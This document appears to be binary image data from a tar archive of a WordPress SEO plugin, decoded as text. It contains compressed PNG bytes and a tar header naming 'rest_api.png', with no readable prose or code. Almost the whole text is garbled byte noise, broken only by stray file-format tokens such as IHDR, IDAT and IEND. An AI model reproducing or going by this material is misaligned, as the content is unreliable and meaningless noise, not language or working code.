&���=��7�h�Y�gX����7����gX�w��v��1˭�ڲ#�E��`�:I)�4D�?��֏}Mh������~�Qx���,K`y����{i��ʳ�L���hƛ��ey'ڭMr����8�^��=�ǥ:`�3J����G:�;�>��?~��T���S��ӣ<��h�)g�׉n1�ݑJ�׌+�E��N�W�zp�,K��=�n����!����/V��KXމv�w�5��]ϲ��8J�˒N���R�=��#�6b�g��W�PUL��a��oJ�ݡ�I�%0�D��9X��Q��{����Q�S��ݵ`,�D����?z��3�"�/A/��2��JnbԯS���>��=��M%È��l|ϻ�:�:c҉�X��%��Q�c<��k%�Zf<�q!�藩�F��Nt�.�D~�^�K�͟�p���5��C;�u�HG�9"ݞ%~�Q�#�%�%ת(�{i�.�R��m6>��\m.����m�﷥;�sVYcL:�vv�3���^"~�pPǍ�O�Ԟ�PY�`҉��g��ۋ{��"fIF�O�K��U�օ���,���]R�x�
3���P�B��t4���u�I�{Y�DT���mu�{�=�|�2�D���|�I�sL'b�m�a��:c҉6:����V�)��h_��oAO�UƤ�z?zS����X޷#��~����gX���>�߸o���N��E�����k�����}3bЃ
}."�3ܙ�~���j�M3�w�p�, ��<b�a!�U�ҷ}���9D}��W��]��?W�j���Q+{���;\�4����
�AO�Md�O�U��W�j�_wx�y[�D�����!D���}s "w����[���7Ӊ��ݠ�1�����{�ϟp�m3D5�Y��A�?҉��#�d?�N����+MIV�e��#��h����1O�^��YA����?���&��Ym*Kl}��N�}:*�svYt�t��\�m�L:Q/k����sփo�K���&��c:���]
�bZ��]�Q$�t�����,�9�s�{җF�[G:����]��sΦ)Uz2�B�3���cy'�ݸ���aQ.��s�;�򕏾��Nć�S����\�	�词fz�>�yL/�:Y;��lҗ��I��.z�{ҵV���Gz$����3�@�o�{v�0�jF�}b)袿&�o����?H�1�?z�E�?��<��{g��:�,�T���������>�g��b"���7�+%��Yp7���K��0Nۦ�}쀗;��y�^7#"���z��'��qGvx?���	R����z踶C11gD�}]�G����tp_D�#{..�=7�6^�EOR���nI���tpO�
�D�&��-�[7h��i:����/υ�n���;�wS�W��{���b���d|�S�\t�=dS}##2�5��Kzӛ�#d�%:^݆�'��>����}d��������[��3���z":��7�L��9M�/̀m��5�96�8'������2q�0_]:����z��wxo�_�|��[�T���^60Θ7D��x_3�i��7���}�Z�{����O��J��}r�w�>�����7��m�o�;.ޛf�
�QS�_}�;�{�tp?[/#��}k�o ;�7�d�{�6�O���ޛ����8����-�S�Ѧ7�(����E��*�������7�܃7��1�ћ�q��#����#����wJ@\�@Q�2	��q$�6���?:��d�E�s�9*��Kz����I8/���#�w�������Rq��+��ޑ�Dw��*�ǐ�����6����nEc�E��I��I�w�_vq!��	�o�Mt��t���DPX9���ٵ�Wk )��L��d�@�zI���|jpO�p5.��?V%�׿1ǘҢ��#�#�u_���C"�`rK���y�ɟ�M����o��FBZ_���!�|���w�<���g�U��߿���k�V�)"k5�2rݛ(\�5��@���w�a��)��cR@��?���O����?wѥ��ٸ�����⹐1��8���A_��]'���Kz?ck>r�]�����a�fJ@�2��Y�����g^���R�碧=�α�P8Oܦ�)!}nD8���8/�=Lo>�%�=���U����8��5�g�
�W?q�!�R}O��Dw�.wo�*��.eP�:��:����o]�f���)�r��I ��;H�t���Mt��ܟ-u�m8+eL�I'�O�Hr�+⟕t��dӛ^�Nød�������"R\�a� �5�E?Y)WD_5����J��ջ���1��mX�Z;�	�bX�" ��붍��D�nUי���QE��%e�p
�b%w��w����,�>$N�B.����&�L,��s�kr�{r��iG�7�p%e�5��h"��D�6���c�$w�d�~��2_�t���E���w���E9�S�#H���_(���������8��YSL���^eD܊�KOE��
���o��A�N��!o�=3q�{��|`pwt�t��g��}�$�2�G�&��8$=]k�ysHk��!�������u��0Jy��|Zߩ���:��^��@�*OEױ���)�H�y�7s�>��q�7�
(Fp��A���۩C��n��gε�,_���T�Ӣs��5�����H�9K���ޛ��+�__��A,}-���E�Uu%�k��U�E�j�2V7��`#�q��C�)k~�=�}M��q�2��U��D]�\��w��tzϑ�B����V�DtQ����!�o��9FRk�`��!]��,ɽ��rI�Dӛ��eX{�7��C��X�Ɔ�Ld���Sѱ
�w�)�L��u��!! ��r�%�s��5ݯa�{�真���k��>׬ I�AX���ua^m�YN�%�=Lo�_ßr.����D�3��tr_��r<s��y^�[N�!���~
��Mѵ�o�����Lj����1o�Ōs����J��MwB�w�wE�4��LG���*~���)z��/���6�i�zm�b�-�y"�\���i:��S�+8��x{(:�_�{��|ؓ5/~�SP�=}7}=����;�70@Or�J�$�'�TyD����۹���(������tp���+T�q��@'I�����7kF�+�W�	l��I�����sp<V?N�Ϟ�ڑ�az��=����Ba�,+�J�?.�}tJ| ��E��==)��QI[�{�����U�	����_�s$�7��`J��Y;+V�)ֳ��yt7|,z8n����X�e:����s�ڱ�t���gw.Yx\����1!Z���Y;+��֘��C�)3�&���1y!��_|��s�H'O�|xo:�Oّ�X���	�阫':�9
+�o%��NF����ya�Ȉ(�OȒ!(w#�yn��zI�gl?��qOn�����Ou�楘��`<�E�9}%��w7"'
��־��5����8w`�<$��f���s���m�q�����(-T/'�������o�\�#џ$��7�������~}��9��q�D������Lo1o{��}ՈQ�����n:�L�����T �݈���M6^@�!�-�8��M��Kz�*�Tf���:��U�y��.�$(���Eǝ��ﴄ�n%eUKE�u}c]�IA��:���|�K����sq�`\D�@ h����>�E�^�A�K����U�z}$c\Ɍ9��:���'��2V}�["���2_�^4�+�sq�l~�Q:RC���ۍ����=T�_/4����/�^��J���Q�z�n�O��,�n5�9�D��Cs��FTEO��S��reR��������/�����-SW�%�h�C�}9��;<�杍[�G��ǖ8��pG	�O�s<��;8�??�7�z��#�>�2���kS�u���=U�;�Ml�!�m.n���w�4q���͇����Jƻ�N�)���u�t�=�K}F샋|:<��>"Nߙ��/���7?�W�06�YEr�,m��gnR���0����đ��,z]�{�y����{�����'�ﮤ���_R}���[5�3���y�y��hӛ�I�aU�}e
�����z�K$�c���L���/˕P��x
a�>w
�b=7���|bp�:Xa��q;�s�.¢x�� )T�E���DO��8�Y�/�M�M>���ý[�[�󂻃6ydY�$}���R��n�9�9�����'��bUl�Þ�]��"Ɯ��V�wp��ޛ�q�`r[�bH�ѱ`�1�A�mp�ǿ,�)zM�q∕0�,�O&�/*L��2s�٦ =�Nf"kwB/+�^c
����#�B���E�^�zZ���(U�Sn�Ni�F�su�7L��az�f�v�cȘ�-��&z�
�!Z�g�#��zf���B�.��4�	�D�E�WT�1�s<K�:�H�{g�ܸ�ѻ����s͓s
�Y����>�W�e��	j$����~����o��9�	�{f�ji��n���CMz��&�+��='��	�D�)A32���C}�@�=Q/��A<���9���uN*:��=�9�@Ϣ�U]�gx��`�鄞�G�.?�����O��N8��DV�t�#E��.Y���L�w27��+*GĈ�!?�Z2|�{�Y������ b�#D���=�='{�i�N��}N�E">��?ۦ�+���v����W=7O�U��H�2���o3�
�!����~�l��e���P��fv�QwÃ�f����o�9���v0\�tB:c-�����Nj���w����;D�r�����ƺ�	X6<������~�H',�H1��>ut�Y5�i�>���a�pǺ�K�ƪ���u.[�	��`�ڶ<}|�����Dg��b�=��Ot�q�&]pQ�	�p܀�l_"|����A�#}��NX����;F
O�ɤ���E��E�ɋ��w��z��������P鳗wB��
9����D:M�^n
�.���G:��s��AG�gq�D/�t.ӯ/7����U��94_6:(��_U�����-w9,2��H�g����^�4}X�ss���%zk�
��.:�E�2}jXܓ�^(:ү�q���"��S�➛��fg��։�E�>�i�d��'�P�ݵ���n']��갸���Z3��k�w����Q�G:�����(a{ё��Q�{7M�^�;��'8�uaqO"�ݓ�V$z�kk�ϰ#�Yޯ�{n�E�ŵ�Ile$�_��H5%� �#������^0�C�CԈ���o��GG��E��]|������><��=o"�nD�G83}*X�ss/Z�/M=I7.�l��_��zl�s�>,�T������j��WD_���O
�{��Ǘ��kp�gE�d�f�_�t���`q�xEt��Cw�(���1!�N���]t���螥;Jt]]7E�t�p���`qK,ѵ�{�
��s�mCtqF��aq�ͽ�������9xV�k��D��'��=7�!�u|w�Ht��涎�#���N&(�It��Y��.M=;��/��
�>�,�d��J-��KW�2ގ=��k�9�t�w2eqOh�,.�{p����=����.v�yaq��ݤb�L��fC>�=��U�M"}z�	���	�^1"Kf�Jt]����]����7/��z/�>ս�{��VFs&#�>�䝰�'���/��������6�{�X��t��#O���+�/
�=�$�s��t_�g5�p����Z}{Ek��~���tI�C��/�����]�Y���{䘶%�hX_U�鐱H?�2����>>����E�Btɇ�PI�c�-��=��v��DǠ�}ǿ(6l��t��.�\�gqҺ�`E��$���Y��7��o:�Ľ��Y\���#���L�"���t��,�š?H�T����.v��NX�{�|�#v�t[tD�W�(����Nf��'<l|�^��֋��Do�[t��w���du����E�=L�#��LX�s�`]���5l�,tC�H�	r����>>�7�'o���m�#��L\ܥjgq���o���>��(�Z�Dd�X�b�����N��4���mѯ�L'�<I�'=���A����NN[܇Ѽ\��E8T*#���N��A�,n����NX�h��D��M',�ZТ���!偮03��A�Sp^�|���\��o�\-b��ҟ[�L7�;�O���_�/gq
��GC�?ս��t���E��hM]5���!�&w�ڧ�8�h!��l]k���
�����\�i:)�����詭�
ȂF����D���>�������ƹ�R��ktM�����3P�^ׁ0�Jp53�6��^[>�����$�?�g�����}HcF��=c�"I�ۓ%��rGg�n�Ά-Dt��n4�EU�]��U/"RL�H����ЧbJ�)a3���❉Wk��A��$�#%������;��(��$!�<��bʤı��QD؍���=�Х
��{Z61�b��%���}�a	z$��t���S��-� �F'����xt-
}0�t_�,	z�9@��!���@`�UE���ϑ^��%����u8O6o<���r�)�&
�(�>�Z!'Z�`;��漰����b$�]��<�w��;�@��3.<5���ޏΨL4�)X;��iFv�0�7sqJҬ_Y�@G:n"��4��#�L�I\����st|�V�Kg��
e�zx?:3�Ux��ۊ�<[�X�{q�@�>�#l���uz�Z����8{�%}��������Q��{b����f�f..��1�X=
����ֵ�����	���{q�KAL��^ҏNpO���T�}]��n[A�ɽ�����#�񻸦|��G�{�M�%�znm����R3;�sx.�7ۗ�C�ѯ��
�t��`UA����/����QLGo���%��$nJl��
����uN!֎��8�����ޏ~)�7�.�u=+˲*��j*��Er��8�c�'TX��L�'&��ƾl]��l������%��%���؎NpOȀp�[e�$`lFS��@�s/AO�"�?Q��>C����Ğ�t��L_� ?��p�[�	��|����~�(`�$�����=j�
u���W���\?�a�x�ko�8�mF�]�w��t��<��^Bf��j3ϗ�ޏ��Y�Q~��s��.��[t���^YFgI"������5F��X\��|�~�,>S�Ox?���>o�!
iu������,J��@Ƿ%EDDL���<{^�G�gR�u�ܻ{�g�n���tLY����~���N�9��Wu�-S�7ɽޢC_��
���ž�K�/8����.�1���-�7�%���~HN'�O�=˭fГ�z�<cx��Y����b��y+A7N��j�}5'���f�m�A�H�xn�~�����b�lտ�5tI�|���D��=t����r˓؂.��FCA߃�A)mOI��:�}��	]����G$�v�W�'R�\���W!*�]�8/G�}^�҂���(D斥c�z��J�!�q�྇��,���,��Ű(�]��ʛ�}�
L�\\j�����۝�S(Q"|�\�IRR���
�;�?�ܧ�	~�{c�-ƴ:|��|��^\�j��A��'2Λ�
t��fԝ��Y��N�݀l� ����p�ْN̟�	�SrϚ�����Z@��BVկ����lh%d7)�yR��֪N���%|�)h.~�Y�-,A����_�K���Np��<WH��)@�{R�z!k4�mӋ����7 ����帡`�m�u�I4�@�4/�+7���:��J:A���S��	�S��t�)�3���FbM��b���81����.�k&M���5���p_~��cx���ђ�:��Gt����9���/�6���݋��6�:c)�9���&(K�,^��f��{K�63|�lH���W��I�køO��k��K���T 0}Hy��x S떞V�����*{y��C���ܿ��YB�N�|���Yw�s>�z���RAy�Z�{�
�'�� �C��)O�A�q̖�+��=�Lr]�u�>��{q�a�>ZKW�7���
���.��S��'���e��^>܇ߋ�}�G*��r�^������}px/N����u�>�۷q����>�^
�[z�r�����}p7Z�c�ZB���w���Їi���}�d=>R����m
N
�S�L�to��>��.��j�+��*�?�GF���w�;`%PV^��͑��1wᆧ����^:�����w��b�ļV�Ց��!��i�G�0	��KR�
9�x�]�P��	-�+���=~�!Rf��"�!w�I�g�d�]z�y�y�y�S�Gp
 �d�ĥH�w��(n�Lw���o�S����?(N��d�{~��($~�?�3�#�j��M3�����ډ(3Z��l�%%�!??;��P�$���&�?KA�&�һ�ro��r��K�/O��������߅���C�V���?�|���ck����v���f��:I��[��vo�w��C�	�K/
잷o����gu��T�����������x��D�`�I[zO4�4�U�^���;�`	z��1�n���e��W��}�%:G�`/�����Ը��k|#@G�/�D0i�=?��"��6��0�� 
��?�E��G�tL�J<VK�Y<�ȕ��]܁��@#����b)Jw	�f��Rt�z����Ǖ�h��R����U&�E��Y��G��Ё���LZz�2��#]�ȋ�P�����i�.�����R�Qe�ʈ�*��¦KWZz"�Y�r��s|��eҤ\r�^�����~�Q�H�A�^����;=qЕ��W������y�&Щ�"~zž|�+�a��.û4�N�}�E��%(л,��2]�g��г�����WH��j\�h�h�������jwk|����t��7�*��Eo+����1d��.B��G��W��o)@�J)1B��^!�����=�ɦ�H�Q	K@9F-S]+T�Ɨ��$��u��S%�o�l}|��\�����zgز���Q�I5�:C�����{�X�΋����P���I�l��1���%IZ��D�-s�R�A'z¯/�  I)�z@��`�R�V	�p���;�|��FDR�=�W*#*����"~�N0���AR�g���Q��Jq�^�R�p��T�ٸ蕖-0�|]�(�l/N��sqQ/S�yX|������t�%�Y0��T(Q���w�d?��k0h�
�<�Ci/N�'�k��
=R^)q^&�K9��7�{^i�(�J�?�������0֘gA���O+�B����2P���0qJP=��*I�G%zVb���-}į��T>�_`����䈺�<�,Z�k�@�4�@=N~&���.����D+-k�Nv�GT����P=��\E��e��P�I�6HT<N��UB�/+նt{�:�0�rw����BʏˠS�2D��h{1hs_=�ޫD��}a~X���l����
{�Pû�쇆>��$l
���|��n/ݕ��y6L[B��Hû���sn?LO�6�FG޽��:�=t�aБ�87����<?IM��a5��m�ݝ�3V�B]�;tw���
�#��MB�w��Б�l��(�rD1�P�n�����!J�P��䛦E:=�am1�F��J�����A��B�@/2��h��K)wAI��7<�=���6'�gu����[n֑�M�J�:��ٝ�
h����dmb~[�Zr��iG�����q���C��F���^�Ij�5�t3=%��]���9I(��y��Ж[@0Ӡ�T^�����K,M$�=��K
��	iX_����,�*������,�v$�k�(E5�U��I{�i��.4͟�t{�7�A$%d��`�6܌.P`@A�|l�y�ζ�	3���)i�-���c�8Ӷ+t�c_^�J#��m3�iD{FSM1�F�cA>��놅�KۚU��߳�C
[5+~~�A�+	�`�X�-#69�����`���"�."6`�s����<��t�Z7U�\ù�q
�pйs��m�����Zo�x?�zᱼ�)µ�5{�{7M黅^ֱ�+�^�G��7�O���C��Q�n�x��i��<i�.ȫ 4��
�R:�#�C����?p3���\E
����$�t|�\��ִ��f�+O��G5�
��
�i^��b��p:�o!�6��z!3U�s�)b�����2b��s�6��ن�e�.�������:��i+�7^T�w��𺷬b��{o��:�U��n����z��;7�u���|�7����<������ln���D�q�,u��*aX)��Í���W�9�6�Z�joa����K[�Y
<4mZ֏L��
�
&����Ԗ�� �;��	��Hwݠ?+�$a�G
�B�.:�X
���u,'�xFWH�Dx����B��[�W�C����֣#���p�P��sGX�Ks�ӹs�
&ۣLw��Ƃ��Tc9#�}��̠���f�|�X)�������q���츆OM.�쇅{�N�(ZY���о�<�'еD�xt��J��vXT�&��ZhZ�MhנW0���Ȫ��������J���t۠?)�Ħf{=55�@�X4�c߉��T"v�G*��V�ah�D�?��V@�O�X(��e֢��ýM$�-Wwj\�檚Ν{�x7��h,lWh,\)���곱����g圔�ےEH�z'܄�''i�K��x<q��;w�&��
��4xwmeq_5Yt�P�
��X��}�$0v�,��re,�B�n�4�J��wc��z'��T�o����7e�&kV&
Έ=�ӹ���=r��!:M��[��"+Ѝ�(M#�J�9:�<RK�9.X�^��z�S\�b��'��J�Җ��X�A�g}�NJ����o�,X �4�L|�e�nN5�pn�F5�
w�n��՛yV�cf�ak98ƷP��8�.����vع��H�̹���p��[�|�>u^��s��9g�t��L&蒃ea�I=�ɇ�*b9D�'�#`��pl���Pm!�C���4�śy��ޟ�a9?���wu�����A���H�
�f8_��X����X�H?�y�7�,#yp�w>�%2���:�4��s���읩u�4`��jt�q܈{���z(r��t#�`��cQ��x}�팗iE��#-���²�$�)AߠG�X
w5����t������i���>D�����S�A4A�U0��e�W����(ϩg�D"͌.��y���+!�!��f۔�
��\��G�#zV�/�@�����T�h�{�x���>�7�9�N���,�H,�JF�a4����,՜mwW![Zog"VnVN����C��6�r+)O�F5�I�N	:�x�
tЅ�)e�0��Y��7.�v�F������n�_��<q&*��D�`�
a3�:��F��?�:D�Kn�f�bd�𥭰d�
��T�F1)��Z-�h�o��˓-n�k�c�i��B��US��B:/|��}�~7
,i>P�#6Kk�2��Ht���T�Z	�E��A�rն\h��[����������_���t̡���]�����;�|'ɿNw)��V�t?�l}p7^6��*A7ΐ���I�w"�Aߜ�VF�^�=�w$�2�n�z� ����	�}��!�����ɝ�b'D:�Dz��9?�sg��8��J��O���)ߠoΧN�N��,�g�u����e'�v�7�t�V?>D��D@ϿM�#�|��9�7�E��j+peD��p;&I9�/9Y#t��EG$�x���#k�7�9ɋ]�L��S"�ٕ!:#/�@��AI�Ț�����f]/�%�7n�5lXM;Y�v�Ֆ/}~�|����C�*����䤠�BϽ��Έ�C�H6�q����u��S�AG5�b����r�i�t�%�:y�pwN�tR�AΕ�y��/�s��q����n���LS$Q«H�D�;h,G�k�s�!z*�b�7����c:�v�mtn6,>����b�.D��t�
��Б�	:%�l'�ok���!�r;r�75#�pQ�jpk%�-�G$賞�U�Sb�Ը�H�i��dxjz�аT�TӤ��|?��Gz%��o�_�D"�6t�����A�����v����p-�S*�}f��r��ǭ��/ߖ{2�ֈ!*��]�G�6���pv��Ss��W=>�I:����8�A7�n�r<�t�F�6DG/9D�V&YL��s�7r}�q
�=�:�Z9���x�%���[K~�p��DS�hW�6Fo(:�?�N�7��9�����k�CtYl%n�Kڊ"��!��S�%�)d)�v�'��ʯ׮\e��Ä�.���
��n��Ή��ᥴ�+����@g�
�g�+A�y����-�@$��|�i�/S֤�kV���[x�Y�+��v��$V�i��>/C�`{D!F����ۣ?4�"���W�8Q0���}��*@�Ct[M_Q^��zm�a/�*�
�'	g=�����51��	��;��Ԁi��zm�?�WA���E�7��9�*y�2s����re�Nl̴�{��W͍�Y��ER@��\��M�����]}��	1�-mcQ�aM^j��"�?�W�C]� �B�ɀ�a�~��4�9,�V��2-9g�Sr����)����D��n=PlSƌ�t^�v�S���Hߠo�Y�	�$OK�"aP Gv�}�����I��E�e�.8�z�Iw�zB��&o
�Jt�\���h��N��0H���v-����&?X�����	@7�\P`|sH�&r�}m+Ѷ�H�
0ְ8�m✊��	or�[u	wY��^�z��Xx��zS9^z�bnf�H'���|�XwUKh��k4W���O�#�:�'��8�[~�e�K���\�Ju�+��V
�Y��t����FŠ�G:H��9�"V�t�|2G�k�p��W/	�A��j���^ݪ�Qn�Pe������]���cI%U�wc�n�+���t2�AY�+L$�_�el��0��O�i\�
��-O�̛Q��2K��&�}�9['WAd�?��X4�<����P��nv�r{�o�_�sFlE!A�
�-W��*�Q0#�
��]�(��W5�k�ۮ#E=rW�hj&��K���L��>% �߻�W�K;��S!���D�
��|�Xc�N$�����3�:ī]<%y�E��$�̡�E�]���3��*'p��6�qK�.@_����C�s[���w�.7b�Aߠ�
+��F�`S�>��dp::�#�:ݷЦ+� K&�W�B�r2�Ql��L�Z�u��mׂ��]Lw(A@��
�漒�@���!dḐvz�LW�W�T:�HT��B�����ꜝ����I��y��%r�z��{���+Jcq5sǰ����~����9'	,s��fZe�������ʈ=�)�,�"��A[L��_�غ���f�N�iEF�)w_-��	��4�������+'��>�v
�J���65,
=�������1�?���}s~~���Y��&fv�3�%ҿ;�+����������e>�9
�}��6���E�t�;"��ߠo��Fo�ώt<��	�
��LJ�zva��t)��I�}����?lo�z��G^ߠ���wy��zo���]�������ׇ���H?7��Q����ɺ�����H���o%�����zo?���W�k9͝�L���{~�@��=��'}��Ot�'�lp66��d�U���	��G��<�3�-?F�|@�o����6}������y��?�5��/��GKf�b*�G��OE-q�	�V7������}����O?���jl���֎�rg�)��mi�~��D�wmgH��w�Ӟh@�(@�e�b�����׺7����:18�/�����|�������:G
�I��#C�[\�C�s�N�u�C��xTlO�J'��Ё������?�B��.?	: t@� t@���B�: t: t@���B��: t@���B�B�: t@�Ё�)0*�qIEND�B`�wordpress-seo/images/rest_api.png000064400000043264147510273100013152 0ustar00�PNG


IHDR�����`PLTE�ۣ�Օ���������˭�ӗȹl��E����ug�k��ˇ�D��NBGGWfc���弿����������nλ�بܲ@��rי$�TD����C��8��FFIDATx����0F�$��%���C��N�|��~�o+o=��m-�����Uu@W@�+���J:�N�]�������t�ƒ�@�],t?��='"@��:g�iQ��W�}�����o�����'��umc��ע?y-�@z�8��u
�@:���צ��.@�c]:gwkY+�t�o�U:Nʊ�JQ��@O���u
��kV�I������3�лt��Pi�e�k@���e��커u�@��K^��9�˾�t�3��t;&tW�W�>�J�B��=��@��^��m{�/�&�t�+n"�A�=��X�0Y�sv��9���z���@�`F:׸twb��ՙ��k{v/I&B]���K��XP!P :����{��ߍ͌j�k�Ʊt��A�2����؏���2]蛂�0��M���=	t@���9��1��@��z�`��=�>�Ϟz����ڃ@��׼U4a��.�ȡ��Fν�A�k�B������:Q~��B���kݮ}�5�Hw�Xm��]n��Z�%���}�܇2]�B�3A�b��4ĹO���ƌ@/ȷ�����;�.�P�S�g3C�U�[zp�S;+�5�ɵ;/�����I���]��D�_9��O�9��E]�k��jГ�@/h��iZ:
t��[e5N���Oi���5-;F�>)�����Nct���L�z$��ل�8z�V�?�IWB�	tyY��q�w��Q�#���`�1z*���}�ƌ~q������L���ݧ���/H�@��:�=�*���B����:<sg�$�5���k��j籾4�BO���R�A��'�q�d2t�t�E�߁N2]�8t����	�qxzt�=���L�����:�C���~t�z�����G/5]+>?O)t��L~wH~�:M��q��&���AT���=�ո��k�e�Bk]�_�9�:ӵ��s�QA�W�.�?��n+�Uz,t}���[������\��j��)��	�f�A']��g�>x���]�S�1���
�T�/����Q�ܿ�е�!}��<t9�e���@��ڏ^��朇��)uD�W<��z����>t]�:��t��A�kw~3)��9T�Лob��
�w\Щ
�{�]��s�CO�������tl��2�#f���z���K���E����F��V�U�ki���.�5^��ơ~rFU5�I��A�IЙ��@O��X�t4FyŪy��<t4M�G��)��	�m���*[��
C7�A�kw�n:�AU޹�s�2�J��3�J�:
�[z9:K��y��%J#�.�y5��iSUoA��c�����_C�Ӂ�}�8t
��-6�
�?
��1�Sg�.7�=��+���	 �~qt=zy����]�݇��ոܩ:4��u�C��WAs���A�V��t�#�#��j���r��8���;�н��C9	:KO_	:F]��;�q���Dw_�;x�����k,�q�qO� V�rǫq�UпV�W�>�r>��4�_��b�@��D ��ΫqP�j����؂��<���A����U��I�9z��2�4.��i-�ո�9�
�~ܹ�s�:~�pv�}wH���O=]�����j\C�k��5��؜�ʹ~�\����tm���6���~
�k���9�����9t=+��#�w]�ϵ�}+����o��<�á�}���6�7f�'�������ZO�!r詎z��z�е���y��u��CG=t������E@u��=Y:d+@�{�B�k�4�U�C���š��@����s��
�H��j\@�Cg�Yt��e��u���CO�^=�2Z�N�OJ�'�?�$���E�=�i��Q��m��D�_��΍��}e5C��ZJ=N��vN軸��FA�.�e�2F�(t�nf��{��@��a�c����#t�vg�:�U��@?���гn��Ҿ�t
zl�
G�V�O��th�2t�����2���W_�q���]��M+�3c�����_`���@�
��*Y:l�/�*��@/N���DTD]n��u�6f�>T-	�w��yU_�	t��:�B0���CLJ������O0]�������˧�����qX�2�Jae^)xB腝�����5(N����9K�<t�v�9Gs��sh��9�1d/�l6�4tk��C tmiv軅/݋Ӄ>�Wl�@7�}�l̸�:0tg���C�����Zt�W`!����;�
]��͍��Qx��j�
{t���Gs|[�^Z�΍�N֖�C_�ҽ8�@?[�.��͒��88�Rʸ:��Џ
��-BOK��z��;;/c���;���A�o������j�w�����|�Џ`:��A/������З�tg����@�ts�[3��;9���yBϙ�m:KbN��&k#����p�]�oa�f�zO��C��M`�:t/�0'����ŧk�,���������~<&�d�ὤ��̣օ�=Uov<s��y�㜮�`�Sw�k��
�c�}l�R{�c�ۙy�\=�	�4��йB��}��M�.������*=Y:Py�J��rK�l��uIQ�ы��;�
�+�ƙ�!�>�}w�ޖ�#�_5�)�Ü�,Z�`�
�{�����t38��=��A�+u�a�C����{�k�[����F9];�\ ЧI��9wT����;ܹ,#�]��סۅnmy���Q��H��&�+�{*�.Ѓ�s�axM�|�����Qv5c�EO�)���r��9p���&2�u��%9��i�@v�F{GX�_��5:�v���3�t]�d���?C��%�7����$��}/M^�!����~���W��w���p~	���<@ߤ�ڇ>Fq�}���F�P~���x��N���9�?�x,�?R"@�9G�jE�	|�ߗ��cQK����"]�aA����X�lҸ�C�sKڽ�H�C-�k�
�Ѩfu�B�ГK����ʠ�k�����m>�z0t��]��c���^k�_Z�XЏ}��k��~\�<�C@�A�UI�����V�}݂~|�Cwt�Ā�=�T�;��Ԫs��f����/��V��X�[xH���~뱻j5�L�.d�jg����ׅ�w���y�@���ӹr��]+���9�ڙޱ8�)���o��M�hn�cw������D޺kMg�{|�}�n�O�s'A�k�@>O�?u�^г�s.t���
�^�n���[.�r;�0�
��5���cw�-�J7��r��s�#�c;(G���k�%Α9�{�L�Z]����R"t�m?���'��{>�y�|�t�_��ݯ�C@��O}J&B��z�t�AU$��{��}�6���\:z��U]�#/�iNZtuh��nhn7t�‚���*���Y	�׷xz�]�J������z��ơ�Ӹ3s�%��/�1vW�2���~�O�Ҡ�O�
��ȝ~�����S�^��k�o(�U�u
����]��U87���k�i���S�^]|���]]� �H����Ҡky��{��w�H桟�C:�Ϟ��t�rkKK������%�~�.zYc�k��88��nC��%��~M��O'�I�ݑ���c�~�e֞�{:��p�p>�!�׏ݕRBʱ�3�;2����y���]���=�WCWV�PW"G�<�n���*�H�h�k�C��S�q��ˎ�R=��T���j�X�9�գ�l�s$:�
�НH^��-~��K������ݕ9�w�p�k�j�o��\�s��^m�^H�%M6/�޴���M�W,�>�]�v��&������
��>xgP�(�.l:�9ڗ2�S�x��O��8sA�_Su���.���:�yNi��9������n��=��@����n�I���g�;����#���6��q�>���t��]r& ���r�F=�m�<�=z�!�i�+�%:zH'��E�g g@�;O��}7~%�c��)��V|HtH�sr�\����t>w���y4�|�iU4�۵�C:�:q�jт΃���;?>t��f�@]<�w|���o�BO��O�L���[��wN����U�{w@�x����@��˹K��ե�su�C?G߻?M6�-�����뻮B>���m�ڂs侤�<���X{w�1��ί����|�է�s�t��^��>)˹1���Ɓ{��
����9G�0��Ln{w�1���ƹr�{��J�Γ.�kt-�a�nA7&q���N9��st�t!ޮ��������Mr��;8�h��݆nl܅	=~���Μ���7���-ۻ?M�`�·�����3�+	zn:鿆�w���l�Y�c���n��еa脇Tճ��}���1q�C�|�|��ܥKt��2��m��We8�c�N�n�Е	=��'�ݮ)+�8��}@�C�|��y�ս�-=#��=�K�b�oظӠ��p�DHЕ
=S�'����8n�u�F�cw�����ދ�N�ʾ�s���%}1t8?<�{�����;��^]�t�;O��5e�q��s��|�1vw�>dp'�I��i§s|Xfݮ)���ʡ��CS��+wY]I�)�.��IJ���=�+��A�t�ޝ
�{p'�-�JkZi=s|Lv{Hus;�3�qtc��N��|!t啯B�S�OP��Q�GX�
�� �=������+3S�j�������|Kz1�w8�!
�����գi�tnKG�q�s��aI��_w��Cd�7�>x����rK�9߮љ��t:��T\�1v�CG^�GЕ�'o�I[��G�_��Y�g�j����n�)bJG���TI#8cI7�_8�E��
�ݹ�m�|�ɏyVW�*�<�t��y�s����|�8�����zBpιF';7�t�y�?
�mݯ}#�Z9E��k|�Sw��'�I@o�~�޸o��s�9��F��k��8�!gЛ�_�s�w"uTd�`N�F';7��c�sЛ��o��`%/{u�,�8�kt�?��ם��=���9U��)�v�t�f,��Q�<#�8�7���px�r�bN�]SײY��d���Q@���7wtx_�H��v�KF�<�v��Ʉ=����.�u������A77�oƶ�M�|�1vo:�r��û��Dn�����%�Q@�W��M8��5_�0·~{������1n��C��{��7�R�7��û��f�1���BOhB:N�pn�c7����]��v���	�f����m;��>_@Gn��
CW�l�c����r,�)�z��ˡ7���Ƈ�&� ��wVXyB��7���}C�ν]Sߤ�9���_,�=����;�z��_��tٲSz�
��ʽ�#�ݽAO��M=���4t$���px'߮�seα}G�.ME����ns'�Ѕ=@G��9���z��E�:�;�{�]S>���dB��kT�S��ݍ��c�V�����4Ά����
��/>7ux��Y��'g�)��v+MAso�����|��<bC��;�l�rS�)����&Uz@o���P[[w6w�
��\3����~;�H���~�8��nהP&Ho�z-�cA��΅���2�=�_K[ϝ{�-t>w��X�kJ)�K�m�ݷ�;����^Щ�	���Y�r�D�z@O[ǝ��l�|�ݼ��.=�7=v�z���Qw�c�
��NW�Iz;Г��=��^����^q���d���~���}r�M�x�ae[������=A�<-�k=�-A�^;w|Xj:��,�]Sė�<�甲�s�6q��v�&|�4��}�^}C������X��z��'Gq�G6|�|��>�y騎y���	�����A��ܱ��nה]6�a��Wz��c�Nܹcs�t����}���M��v����t�ν���
z�7c�Ĕ��K�s�2����ϟ?�~������{�ܹ?�>�}�܍Do���閲��a�t*w�1�����.P���0�?�3�y�Ϫ��(u��>�����I�����+w��@�KsO_��ŬC�y������ז|Z���������Sk�r*�נ�Ǒ�����}��;|6t�{,�O)�9�]�٧񦕺%��P��[~�.W
}��`�u��+D]��w��y������CX݊?������4�'(�UA���H���A���"��������3�s�޼��1?�~4t�)�G\[� ��?v�P��fv����WY�$=�ŵ2�'Ks�����sK1�!�����}�.��qr��Fù���G�].�}:u��
��o��n�R�_�_B��S�IPc�V�
